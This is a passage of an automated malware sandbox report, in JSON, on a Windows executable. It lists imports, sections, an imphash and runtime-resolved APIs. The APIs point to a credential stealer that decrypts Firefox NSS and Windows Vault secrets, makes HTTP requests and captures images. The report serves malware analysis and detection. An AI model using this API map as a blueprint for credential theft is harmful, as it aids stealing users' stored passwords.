                "dll": "CRYPT32.dll"
            },
            {
                "imports": [
                    {
                        "name": "GetModuleFileNameExA",
                        "address": "0x475288"
                    },
                    {
                        "name": "GetModuleBaseNameA",
                        "address": "0x47528c"
                    },
                    {
                        "name": "EnumProcessModules",
                        "address": "0x475290"
                    }
                ],
                "dll": "PSAPI.DLL"
            },
            {
                "imports": [
                    {
                        "name": "HttpQueryInfoA",
                        "address": "0x4752d4"
                    },
                    {
                        "name": "InternetSetOptionA",
                        "address": "0x4752d8"
                    },
                    {
                        "name": "InternetConnectA",
                        "address": "0x4752dc"
                    },
                    {
                        "name": "InternetReadFile",
                        "address": "0x4752e0"
                    },
                    {
                        "name": "HttpOpenRequestA",
                        "address": "0x4752e4"
                    },
                    {
                        "name": "HttpSendRequestA",
                        "address": "0x4752e8"
                    },
                    {
                        "name": "InternetCloseHandle",
                        "address": "0x4752ec"
                    },
                    {
                        "name": "InternetOpenUrlA",
                        "address": "0x4752f0"
                    },
                    {
                        "name": "InternetOpenA",
                        "address": "0x4752f4"
                    },
                    {
                        "name": "HttpAddRequestHeadersA",
                        "address": "0x4752f8"
                    },
                    {
                        "name": "InternetSetFilePointer",
                        "address": "0x4752fc"
                    }
                ],
                "dll": "WININET.dll"
            },
            {
                "imports": [
                    {
                        "name": "GdiplusStartup",
                        "address": "0x475304"
                    },
                    {
                        "name": "GdiplusShutdown",
                        "address": "0x475308"
                    },
                    {
                        "name": "GdipGetImageEncodersSize",
                        "address": "0x47530c"
                    },
                    {
                        "name": "GdipCreateBitmapFromHBITMAP",
                        "address": "0x475310"
                    },
                    {
                        "name": "GdipCloneImage",
                        "address": "0x475314"
                    },
                    {
                        "name": "GdipSaveImageToFile",
                        "address": "0x475318"
                    },
                    {
                        "name": "GdipFree",
                        "address": "0x47531c"
                    },
                    {
                        "name": "GdipAlloc",
                        "address": "0x475320"
                    },
                    {
                        "name": "GdipGetImageEncoders",
                        "address": "0x475324"
                    },
                    {
                        "name": "GdipDisposeImage",
                        "address": "0x475328"
                    }
                ],
                "dll": "gdiplus.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00093b42",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x00000000",
        "icon_hash": null,
        "entrypoint": "0x0045d63a",
        "timestamp": "2019-06-26 15:13:14",
        "osversion": "5.1",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00073600",
                "entropy": "6.68",
                "raw_address": "0x00000400",
                "virtual_size": "0x000734be",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00075000",
                "size_of_data": "0x00014a00",
                "entropy": "5.74",
                "raw_address": "0x00073a00",
                "virtual_size": "0x000149da",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x0008a000",
                "size_of_data": "0x00002800",
                "entropy": "3.67",
                "raw_address": "0x00088400",
                "virtual_size": "0x000050e4",
                "characteristics_raw": "0xc0000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000886dc",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x000000f0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00083920",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000040"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00075000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x0000033c"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "e8d12275176ea9846ff290b0f19155f3",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 11,
        "versioninfo": []
    }
}

[*] Resolved APIs: [
    "kernel32.dll.FlsAlloc",
    "kernel32.dll.FlsGetValue",
    "kernel32.dll.FlsSetValue",
    "kernel32.dll.FlsFree",
    "rasapi32.dll.RasConnectionNotificationW",
    "sechost.dll.NotifyServiceStatusChangeA",
    "cryptbase.dll.SystemFunction036",
    "nss3.dll.NSS_Init",
    "nss3.dll.NSS_Shutdown",
    "nss3.dll.PK11_GetInternalKeySlot",
    "nss3.dll.PK11_FreeSlot",
    "nss3.dll.PK11_Authenticate",
    "nss3.dll.PK11SDR_Decrypt",
    "nss3.dll.sqlite3_open",
    "nss3.dll.sqlite3_prepare_v2",
    "nss3.dll.sqlite3_step",
    "nss3.dll.sqlite3_column_text",
    "rpcrt4.dll.RpcStringBindingComposeW",
    "rpcrt4.dll.RpcBindingFromStringBindingW",
    "rpcrt4.dll.NdrClientCall2",
    "cryptbase.dll.SystemFunction041",
    "rpcrt4.dll.RpcStringFreeW",
    "rpcrt4.dll.RpcBindingFree",
    "vaultcli.dll.VaultOpenVault",
    "vaultcli.dll.VaultCloseVault",
    "vaultcli.dll.VaultEnumerateItems",
    "vaultcli.dll.VaultGetItem",
    "vaultcli.dll.VaultFree",
    "kernel32.dll.GlobalMemoryStatusEx",
    "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
    "setupapi.dll.CM_Get_Device_Interface_List_ExW",
    "comctl32.dll.#386",
    "advapi32.dll.UnregisterTraceGuids",
    "comctl32.dll.#321",
    "kernel32.dll.SetThreadUILanguage",
    "kernel32.dll.CopyFileExW",
    "kernel32.dll.IsDebuggerPresent",
    "kernel32.dll.SetConsoleInputExeNameW",
    "kernel32.dll.SortGetHandle",
    "kernel32.dll.SortCloseHandle",
    "sechost.dll.LookupAccountNameLocalW",
    "advapi32.dll.LookupAccountSidW",
    "sechost.dll.LookupAccountSidLocalW",
    "winsta.dll.WinStationFreeMemory",
    "winsta.dll.WinStationCloseServer",
    "winsta.dll.WinStationOpenServerW",
    "winsta.dll.WinStationFreeGAPMemory",
    "winsta.dll.WinStationGetAllProcesses",
    "winsta.dll.WinStationEnumerateProcesses",
    "kernel32.dll.GetThreadPreferredUILanguages",
    "kernel32.dll.SetThreadPreferredUILanguages",
    "kernel32.dll.LocaleNameToLCID",
    "kernel32.dll.GetLocaleInfoEx",
    "kernel32.dll.LCIDToLocaleName",
    "kernel32.dll.GetSystemDefaultLocaleName",
    "oleaut32.dll.#283",
    "oleaut32.dll.#284",
    "kernel32.dll.RegOpenKeyExW",
    "ntdll.dll.EtwUnregisterTraceGuids",
    "oleaut32.dll.#500",
    "cryptsp.dll.CryptReleaseContext",
    "ntmarta.dll.GetMartaExtensionInterface",
    "fastprox.dll.DllGetClassObject",
    "fastprox.dll.DllCanUnloadNow",
    "kernel32.dll.RegQueryValueExW",
    "kernel32.dll.RegCloseKey",
    "oleaut32.dll.#2",
    "oleaut32.dll.#6",
    "oleaut32.dll.#289",
    "advapi32.dll.RegOpenKeyW",
    "oleaut32.dll.#287",
    "oleaut32.dll.#288",
    "oleaut32.dll.#290",
    "oleaut32.dll.#285",
    "ntdll.dll.RtlInitUnicodeString",
    "ntdll.dll.RtlFreeUnicodeString",
    "ntdll.dll.NtSetSystemEnvironmentValue",
    "ntdll.dll.NtQuerySystemEnvironmentValue",
    "ntdll.dll.NtCreateFile",
    "ntdll.dll.NtQuerySystemInformation",
    "ntdll.dll.NtQueryDirectoryObject",
    "ntdll.dll.NtQueryObject",
    "ntdll.dll.NtOpenDirectoryObject",
    "ntdll.dll.NtQueryInformationProcess",
    "ntdll.dll.NtQueryInformationToken",
    "ntdll.dll.NtOpenFile",
    "ntdll.dll.NtClose",
    "ntdll.dll.NtFsControlFile",
    "ntdll.dll.NtQueryVolumeInformationFile",
    "advapi32.dll.LookupPrivilegeValueW",
    "winbrand.dll.BrandingLoadString",
    "oleaut32.dll.#286",
    "ole32.dll.StringFromCLSID",
    "ole32.dll.CoTaskMemFree",
    "oleaut32.dll.#9",
    "wersvc.dll.ServiceMain",
    "wersvc.dll.SvchostPushServiceGlobals",
    "advapi32.dll.RegGetValueW",
    "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
    "faultrep.dll.WerpInitiateCrashReporting",
    "wer.dll.WerpCreateMachineStore",
    "shell32.dll.SHGetFolderPathEx",
    "ole32.dll.StringFromGUID2",
    "profapi.dll.#104",
    "userenv.dll.CreateEnvironmentBlock",
    "sechost.dll.ConvertSidToStringSidW",
    "sspicli.dll.GetUserNameExW",
    "userenv.dll.DestroyEnvironmentBlock",
    "wer.dll.WerpSvcReportFromMachineQueue",
    "advapi32.dll.OpenProcessToken",
    "advapi32.dll.DuplicateToken",
    "advapi32.dll.AllocateAndInitializeSid",
    "advapi32.dll.CheckTokenMembership",
    "advapi32.dll.FreeSid",
    "wtsapi32.dll.WTSQueryUserToken",
    "winsta.dll.WinStationQueryInformationW",
    "advapi32.dll.CreateWellKnownSid",
    "rpcrt4.dll.RpcBindingSetAuthInfoExW",
    "rpcrt4.dll.NdrClientCall3",
    "advapi32.dll.ImpersonateLoggedOnUser",
    "advapi32.dll.CreateProcessAsUserW",
    "advapi32.dll.RevertToSelf",
    "ole32.dll.CoInitializeEx",
    "ole32.dll.CoInitializeSecurity",
    "ole32.dll.CoCreateInstance",
    "w32time.dll.SvchostEntry_W32Time",
    "w32time.dll.SvchostPushServiceGlobals",
    "ws2_32.dll.#115",
    "ws2_32.dll.WSASocketW",
    "ws2_32.dll.WSAIoctl",
    "ws2_32.dll.#111",
    "userenv.dll.RegisterGPNotification",
    "gpapi.dll.RegisterGPNotificationInternal",
    "sechost.dll.OpenSCManagerW",
    "sechost.dll.OpenServiceW",
    "sechost.dll.CloseServiceHandle",
    "sechost.dll.QueryServiceConfigW",
    "dsrole.dll.DsRoleGetPrimaryDomainInformation",
    "dsrole.dll.DsRoleFreeMemory",
    "sspicli.dll.LsaRegisterPolicyChangeNotification",
    "w32time.dll.TimeProvClose",
    "w32time.dll.TimeProvCommand",
    "w32time.dll.TimeProvOpen",
    "ws2_32.dll.getaddrinfo",
    "ws2_32.dll.freeaddrinfo",
    "ws2_32.dll.#23",
    "ws2_32.dll.#21",
    "ws2_32.dll.#2",
    "ws2_32.dll.WSAEventSelect",
    "vmictimeprovider.dll.TimeProvClose",
    "vmictimeprovider.dll.TimeProvCommand",
    "vmictimeprovider.dll.TimeProvOpen",
    "advapi32.dll.EventRegister",
    "advapi32.dll.EventEnabled",
    "advapi32.dll.EventWrite",
    "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
    "ws2_32.dll.GetAddrInfoW",
    "ws2_32.dll.FreeAddrInfoW",
    "ws2_32.dll.WSAAddressToStringW",
    "ws2_32.dll.#3",
    "ws2_32.dll.#116",
    "advapi32.dll.EventUnregister",
    "sspicli.dll.LsaUnregisterPolicyChangeNotification",
    "userenv.dll.UnregisterGPNotification",
    "gpapi.dll.UnregisterGPNotificationInternal",
    "imm32.dll.ImmDisableIME",
    "psapi.dll.GetModuleFileNameExW",
    "version.dll.GetFileVersionInfoSizeW",
    "version.dll.GetFileVersionInfoW",
    "version.dll.VerQueryValueW",
    "wer.dll.WerpCreateIntegratorReportId",
    "wer.dll.WerReportCreate",
    "wer.dll.WerpSetIntegratorReportId",
    "wer.dll.WerReportSetParameter",
    "dbgeng.dll.DebugCreate",
    "ntdll.dll.CsrGetProcessId",
    "ntdll.dll.DbgBreakPoint",
    "ntdll.dll.DbgPrint",
    "ntdll.dll.DbgPrompt",
    "ntdll.dll.DbgUiConvertStateChangeStructure",
    "ntdll.dll.DbgUiGetThreadDebugObject",
    "ntdll.dll.DbgUiIssueRemoteBreakin",
    "ntdll.dll.DbgUiSetThreadDebugObject",
    "ntdll.dll.NtAllocateVirtualMemory",
    "ntdll.dll.NtCreateDebugObject",
    "ntdll.dll.NtDebugActiveProcess",
    "ntdll.dll.NtDebugContinue",
    "ntdll.dll.NtFreeVirtualMemory",
    "ntdll.dll.NtOpenProcess",
    "ntdll.dll.NtOpenThread",
    "ntdll.dll.NtQueryInformationThread",
    "ntdll.dll.NtQueryMutant",
    "ntdll.dll.NtRemoveProcessDebug",
    "ntdll.dll.NtResumeThread",
    "ntdll.dll.NtSetInformationDebugObject",
    "ntdll.dll.NtSetInformationProcess",
    "ntdll.dll.NtSystemDebugControl",
    "ntdll.dll.NtWaitForDebugEvent",
    "ntdll.dll.RtlAnsiStringToUnicodeString",
    "ntdll.dll.RtlCreateProcessParameters",
    "ntdll.dll.RtlCreateUserProcess",
    "ntdll.dll.RtlDestroyProcessParameters",
    "ntdll.dll.RtlDosPathNameToNtPathName_U",
    "ntdll.dll.RtlFindMessage",
    "ntdll.dll.RtlFreeHeap",
    "ntdll.dll.RtlGetFunctionTableListHead",
    "ntdll.dll.RtlGetUnloadEventTrace",
    "ntdll.dll.RtlGetUnloadEventTraceEx",
    "ntdll.dll.RtlInitAnsiString",
    "ntdll.dll.RtlTryEnterCriticalSection",
    "ntdll.dll.RtlUnicodeStringToAnsiString",
    "ntdll.dll.NtOpenProcessToken",
    "ntdll.dll.NtOpenThreadToken",
    "kernel32.dll.CloseProfileUserMapping",
    "kernel32.dll.CreateToolhelp32Snapshot",
    "kernel32.dll.DebugActiveProcessStop",
    "kernel32.dll.DebugBreak",
    "kernel32.dll.DebugBreakProcess",
    "kernel32.dll.DebugSetProcessKillOnExit",
    "kernel32.dll.Module32First",
    "kernel32.dll.Module32FirstW",
    "kernel32.dll.Module32Next",
    "kernel32.dll.Module32NextW",
    "kernel32.dll.OpenThread",
    "kernel32.dll.Process32First",
    "kernel32.dll.Process32FirstW",
    "kernel32.dll.Process32Next",
    "kernel32.dll.Process32NextW",
    "kernel32.dll.ProcessIdToSessionId",
    "kernel32.dll.SetProcessShutdownParameters",
    "kernel32.dll.Thread32First",
    "kernel32.dll.Thread32Next",
    "kernel32.dll.GetTimeZoneInformation",
    "kernel32.dll.DuplicateHandle",
    "kernel32.dll.Wow64GetThreadSelectorEntry",
    "advapi32.dll.CloseServiceHandle",
    "advapi32.dll.ControlService",
    "advapi32.dll.CreateServiceA",
    "advapi32.dll.CreateServiceW",
    "advapi32.dll.DeleteService",
    "advapi32.dll.EnumServicesStatusExA",
    "advapi32.dll.EnumServicesStatusExW",
    "advapi32.dll.GetEventLogInformation",
    "advapi32.dll.GetTokenInformation",
    "advapi32.dll.OpenSCManagerA",
    "advapi32.dll.OpenSCManagerW",
    "advapi32.dll.OpenServiceA",
    "advapi32.dll.OpenServiceW",
    "advapi32.dll.StartServiceA",
    "advapi32.dll.StartServiceW",
    "advapi32.dll.GetSidSubAuthority",
    "advapi32.dll.GetSidSubAuthorityCount",
    "version.dll.GetFileVersionInfoSizeExW",
    "version.dll.GetFileVersionInfoExW",
    "dbghelp.dll.WinDbgExtensionDllInit",
    "dbghelp.dll.ExtensionApiVersion",
    "wer.dll.WerpSetDynamicParameter",
    "wer.dll.WerReportAddDump",
    "wer.dll.WerpSetCallBack",
    "wer.dll.WerReportSetUIOption",
    "wer.dll.WerpAddRegisteredDataToReport",
    "wer.dll.WerReportSubmit",
    "advapi32.dll.RegOpenKeyExW",
    "advapi32.dll.RegCloseKey",
    "user32.dll.LoadStringW",
    "advapi32.dll.RegCreateKeyExW",
    "advapi32.dll.RegSetValueExW",
    "advapi32.dll.RegQueryValueExW",
    "sensapi.dll.IsNetworkAlive",
    "user32.dll.CharUpperW",
    "wer.dll.WerpAddAppCompatData",
    "apphelp.dll.SdbGetFileAttributes",
    "apphelp.dll.SdbFormatAttribute",
    "apphelp.dll.SdbFreeFileAttributes",
    "cryptsp.dll.CryptAcquireContextW",
    "cryptsp.dll.CryptCreateHash",
    "cryptsp.dll.CryptHashData",
    "cryptsp.dll.CryptGetHashParam",
    "cryptsp.dll.CryptDestroyHash",
    "dbghelp.dll.MiniDumpWriteDump",
    "kernel32.dll.GetLongPathNameA",
    "kernel32.dll.GetLongPathNameW",
    "kernel32.dll.GetProcessTimes",
    "advapi32.dll.RegOpenKeyExA",
    "advapi32.dll.RegQueryValueExA",
    "powrprof.dll.CallNtPowerInformation",
    "psapi.dll.EnumProcessModules",
    "version.dll.GetFileVersionInfoSizeA",
    "version.dll.GetFileVersionInfoA",
    "version.dll.VerQueryValueA",
    "verifier.dll.VerifierEnumerateResource",
    "ntdll.dll.NtSuspendProcess",
    "ntdll.dll.NtResumeProcess",
    "advapi32.dll.QueryTraceW",
    "advapi32.dll.IsValidSid",
    "advapi32.dll.GetLengthSid",
    "advapi32.dll.CopySid",
    "advapi32.dll.InitializeAcl",
    "advapi32.dll.AddAccessAllowedAceEx",
    "advapi32.dll.InitializeSecurityDescriptor",
    "advapi32.dll.SetSecurityDescriptorDacl",
    "advapi32.dll.RegisterEventSourceW",
    "advapi32.dll.ReportEventW",
    "advapi32.dll.DeregisterEventSource",
    "wer.dll.WerpGetStoreLocation",
    "wer.dll.WerpGetStoreType",
    "wer.dll.WerReportCloseHandle",
    "user32.dll.MsgWaitForMultipleObjects",
    "wer.dll.WerpFreeString",
    "user32.dll.GetProcessWindowStation",
    "user32.dll.GetThreadDesktop",
    "user32.dll.GetUserObjectInformationW",
    "werui.dll.WerUICreate",
    "werui.dll.WerUIStart",
    "werui.dll.WerUITerminate",
    "werui.dll.WerUIDelete",
    "psapi.dll.EnumProcesses",
    "psapi.dll.GetModuleBaseNameW",
    "ole32.dll.CLSIDFromString",
    "oleaut32.dll.#8",
    "ole32.dll.CoGetCallContext"
]

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "Sleep",
                        "address": "0x475058"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x47505c"
                    },
                    {
                        "name": "SetCurrentDirectoryA",
                        "address": "0x475060"
                    },
                    {
                        "name": "CreateDirectoryA",
                        "address": "0x475064"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x475068"
                    },
                    {
                        "name": "CreateMutexA",
                        "address": "0x47506c"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x475070"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x475074"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x475078"
                    },
                    {
                        "name": "GetVersionExA",
                        "address": "0x47507c"
                    },
                    {
                        "name": "Process32Next",
                        "address": "0x475080"
                    },
                    {
                        "name": "Process32First",
                        "address": "0x475084"
                    },
                    {
                        "name": "CreateToolhelp32Snapshot",
                        "address": "0x475088"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x47508c"
                    },
                    {
                        "name": "OpenProcess",
                        "address": "0x475090"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x475094"
                    },
                    {
                        "name": "LoadLibraryA",
                        "address": "0x475098"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x47509c"
                    },
                    {
                        "name": "GetPrivateProfileSectionNamesA",
                        "address": "0x4750a0"
                    },
                    {
                        "name": "GetFileAttributesW",
                        "address": "0x4750a4"
                    },
                    {
                        "name": "InitializeCriticalSection",
                        "address": "0x4750a8"
                    },
                    {
                        "name": "InterlockedCompareExchange",
                        "address": "0x4750ac"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x4750b0"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4750b4"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4750b8"
                    },
                    {
                        "name": "AreFileApisANSI",
                        "address": "0x4750bc"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x4750c0"
                    },
                    {
                        "name": "SetEndOfFile",
                        "address": "0x4750c4"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4750c8"
                    },
                    {
                        "name": "UnlockFile",
                        "address": "0x4750cc"
                    },
                    {
                        "name": "LockFile",
                        "address": "0x4750d0"
                    },
                    {
                        "name": "LockFileEx",
                        "address": "0x4750d4"
                    },
                    {
                        "name": "UnlockFileEx",
                        "address": "0x4750d8"
                    },
                    {
                        "name": "GetFileAttributesA",
                        "address": "0x4750dc"
                    },
                    {
                        "name": "GetFileAttributesExW",
                        "address": "0x4750e0"
                    },
                    {
                        "name": "LoadLibraryW",
                        "address": "0x4750e4"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x4750e8"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x4750ec"
                    },
                    {
                        "name": "GetSystemTime",
                        "address": "0x4750f0"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x4750f4"
                    },
                    {
                        "name": "UnmapViewOfFile",
                        "address": "0x4750f8"
                    },
                    {
                        "name": "GetTempPathA",
                        "address": "0x4750fc"
                    },
                    {
                        "name": "GetTempPathW",
                        "address": "0x475100"
                    },
                    {
                        "name": "DeleteFileA",
                        "address": "0x475104"
                    },
                    {
                        "name": "FormatMessageW",
                        "address": "0x475108"
                    },
                    {
                        "name": "GetFullPathNameA",
                        "address": "0x47510c"
                    },
                    {
                        "name": "GetFullPathNameW",
                        "address": "0x475110"
                    },
                    {
                        "name": "GetDiskFreeSpaceA",
                        "address": "0x475114"
                    },
                    {
                        "name": "GetDiskFreeSpaceW",
                        "address": "0x475118"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x47511c"
                    },
                    {
                        "name": "GetSystemInfo",
                        "address": "0x475120"
                    },
                    {
                        "name": "MapViewOfFile",
                        "address": "0x475124"
                    },
                    {
                        "name": "CreateFileMappingA",
                        "address": "0x475128"
                    },
                    {
                        "name": "GetComputerNameA",
                        "address": "0x47512c"
                    },
                    {
                        "name": "IsWow64Process",
                        "address": "0x475130"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x475134"
                    },
                    {
                        "name": "GlobalMemoryStatus",
                        "address": "0x475138"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x47513c"
                    },
                    {
                        "name": "GetUserDefaultLocaleName",
                        "address": "0x475140"
                    },
                    {
                        "name": "TzSpecificLocalTimeToSystemTime",
                        "address": "0x475144"
                    },
                    {
                        "name": "GetTimeZoneInformation",
                        "address": "0x475148"
                    },
                    {
                        "name": "GetLocaleInfoA",
                        "address": "0x47514c"
                    },
                    {
                        "name": "GetFileSizeEx",
                        "address": "0x475150"
                    },
                    {
                        "name": "FileTimeToSystemTime",
                        "address": "0x475154"
                    },
                    {
                        "name": "GetFileInformationByHandle",
                        "address": "0x475158"
                    },
                    {
                        "name": "SystemTimeToFileTime",
                        "address": "0x47515c"
                    },
                    {
                        "name": "GetLocalTime",
                        "address": "0x475160"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x475164"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x475168"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x47516c"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x475170"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x475174"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x475178"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x47517c"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x475180"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x475184"
                    },
                    {
                        "name": "GetLogicalDriveStringsA",
                        "address": "0x475188"
                    },
                    {
                        "name": "GetDriveTypeA",
                        "address": "0x47518c"
                    },
                    {
                        "name": "CreateDirectoryW",
                        "address": "0x475190"
                    },
                    {
                        "name": "CopyFileW",
                        "address": "0x475194"
                    },
                    {
                        "name": "lstrcpyW",
                        "address": "0x475198"
                    },
                    {
                        "name": "lstrcatW",
                        "address": "0x47519c"
                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x4751a0"
                    },
                    {
                        "name": "FindFirstFileW",
                        "address": "0x4751a4"
                    },
                    {
                        "name": "lstrcmpW",
                        "address": "0x4751a8"
                    },
                    {
                        "name": "DeleteFileW",
                        "address": "0x4751ac"
                    },
                    {
                        "name": "FindNextFileW",
                        "address": "0x4751b0"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x4751b4"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x4751b8"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4751bc"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x4751c0"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x4751c4"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4751c8"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x4751cc"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4751d0"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x4751d4"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x4751d8"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x4751dc"
                    },
                    {
                        "name": "SetEnvironmentVariableW",
                        "address": "0x4751e0"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x4751e4"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x4751e8"
                    },
                    {
                        "name": "GetModuleFileNameW",
                        "address": "0x4751ec"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x4751f0"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x4751f4"
                    },
                    {
                        "name": "LocalFree",
                        "address": "0x4751f8"
                    },
                    {
                        "name": "LocalAlloc",
                        "address": "0x4751fc"
                    },
                    {
                        "name": "FormatMessageA",
                        "address": "0x475200"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x475204"
                    },
                    {
                        "name": "HeapCreate",
                        "address": "0x475208"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x47520c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x475210"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x475214"
                    },
                    {
                        "name": "SetHandleCount",
                        "address": "0x475218"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x47521c"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x475220"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x475224"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x475228"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x47522c"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x475230"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x475234"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x475238"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x47523c"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x475240"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x475244"
                    },
                    {
                        "name": "IsProcessorFeaturePresent",
                        "address": "0x475248"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x47524c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x475250"
                    },
                    {
                        "name": "GetStartupInfoW",
                        "address": "0x475254"
                    },
                    {
                        "name": "HeapSetInformation",
                        "address": "0x475258"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x47525c"
                    },
                    {
                        "name": "HeapReAlloc",
                        "address": "0x475260"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x475264"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x475268"
                    },
                    {
                        "name": "DecodePointer",
                        "address": "0x47526c"
                    },
                    {
                        "name": "InterlockedIncrement",
                        "address": "0x475270"
                    },
                    {
                        "name": "InterlockedDecrement",
                        "address": "0x475274"
                    },
                    {
                        "name": "InterlockedExchange",
                        "address": "0x475278"
                    },
                    {
                        "name": "EncodePointer",
                        "address": "0x47527c"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x475280"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
